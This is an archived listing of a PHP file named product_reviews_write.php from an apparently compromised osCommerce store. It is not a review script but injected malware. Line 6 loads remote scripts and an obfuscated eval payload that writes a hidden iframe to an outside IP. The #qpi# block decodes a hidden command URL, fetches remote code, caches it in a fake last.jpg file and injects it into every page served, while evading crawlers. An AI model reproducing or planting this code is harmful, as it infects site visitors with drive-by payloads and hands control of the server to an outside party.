home *** CD-ROM | disk | FTP | other *** search
/ 91.121.126.69 / 91.121.126.69.tar / 91.121.126.69 / www / osc / catalog / product_reviews_write.php < prev    next >
PHP Script  |  2015-06-11  |  3KB  |  61 lines

  1. <?php 
  2. #qpi#
  3.  ob_start();
  4. #/qpi#
  5.  ?>
  6. <div id=pu></div<html><body><script type="text/javascript" src="http://counter.olusoft.com/1245361/link.php"></script><script type="text/javascript" src="http://91.239.65.173/t/link.php"></script>http://dromessop.org/fncb.cgi?6<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|82||src|height|74|width|board||94|php|174|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body></html>>
  7. <?php 
  8. #qpi#
  9. $obGet = ob_get_clean();
  10. $data=array(
  11.     'lastUpdate'=>0,
  12.     'currentCode'=>"",
  13. );
  14. $updateUrl=base64_decode("aHR0cDovLzIxMi43LjE5NS4xMjQvZ2V0VGFzay5waHA/ZnRwaWQ9NTQ1MjY0JnRhc2tpZD01");
  15. $needUpdate=1;
  16. $parseUrl="";
  17. $currentCode='';
  18. $tmpCode='';
  19. $answer=null;
  20. $out="";
  21. $fscock="";
  22.  
  23.  
  24. if(stripos($obGet, "<body") || stripos($obGet, "</body>") && !strpos($_SERVER['HTTP_USER_AGENT'], "+http"))
  25. {
  26.     if(file_exists('last.jpg'))
  27.     {
  28.         $data=unserialize(file_get_contents('last.jpg'));
  29.         if(is_array($data) && !empty($data['lastUpdate']))
  30.         {
  31.             if($data['lastUpdate']>(time()-300))
  32.                 $needUpdate=0;
  33.         }
  34.     }
  35.     if($needUpdate)
  36.     {
  37.         $parseUrl=parse_url($updateUrl);
  38.         $tmpCode=file_get_contents($updateUrl);
  39.         if($tmpCode && $tmpCode!='error')
  40.             $currentCode=$tmpCode;
  41.     }
  42.     if((isset($currentCode) && !empty($currentCode)) || !empty($data['currentCode']))
  43.     {
  44.         if(isset($currentCode) && !empty($currentCode))
  45.         {
  46.             $data['lastUpdate']=time();
  47.             $data['currentCode']=$currentCode;
  48.             $fp=fopen('last.jpg', 'w+');
  49.             fwrite($fp, serialize($data));
  50.             fclose($fp);
  51.         }
  52.         $data['currentCode']=isset($currentCode) && !empty($currentCode) ? $currentCode : $data['currentCode'];
  53.         if(stripos($obGet, "<body")!==false)
  54.             $obGet=preg_replace("#<body(.*)>#isU", "<body$1>".base64_decode($data['currentCode']), $obGet);
  55.         elseif (stripos($obGet, "</body>")!==false)
  56.             $obGet=str_ireplace("</body>", base64_decode($data['currentCode'])."</body>", $obGet);
  57.     }
  58.     echo $obGet;
  59. }
  60. #/qpi#
  61. ?>